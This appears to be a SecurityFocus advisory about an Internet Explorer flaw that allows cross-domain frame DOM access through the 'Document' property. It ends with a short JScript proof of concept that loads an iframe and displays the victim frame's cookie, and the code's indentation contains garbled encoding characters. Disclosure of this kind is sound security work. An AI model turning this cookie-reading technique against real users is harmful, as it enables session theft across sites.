source: http://www.securityfocus.com/bid/5963/info

Microsoft Internet Explorer (MSIE) is prone to a vulnerability that may enable a frame or iframe to gain unauthorized access to the Document Object Model (DOM) of other frames/iframes in a different domain. This is possible because MSIE does not perform adequate access control checks on all frame properties. While access to the 'document' property across domains is properly restricted, access to 'Document' is not. This may allow an attacker to violate the browser Same Origin Policy and gain unauthorized access to the properties of frames and iframes that are in a different domain. 

<script language="jscript">
onload=function () {
Â Â Â Â // Timer necessary to prevent weird behavior in some conditions
Â Â Â Â setTimeout(
Â Â Â Â Â Â Â Â function () {
Â Â Â Â Â Â Â Â Â Â Â Â alert(document.getElementById("oVictim").Document.cookie);
Â Â Â Â Â Â Â Â },
Â Â Â Â Â Â Â Â 100
Â Â Â Â );
}
</script>
<iframe src="http://example.com" id="oVictim"></iframe>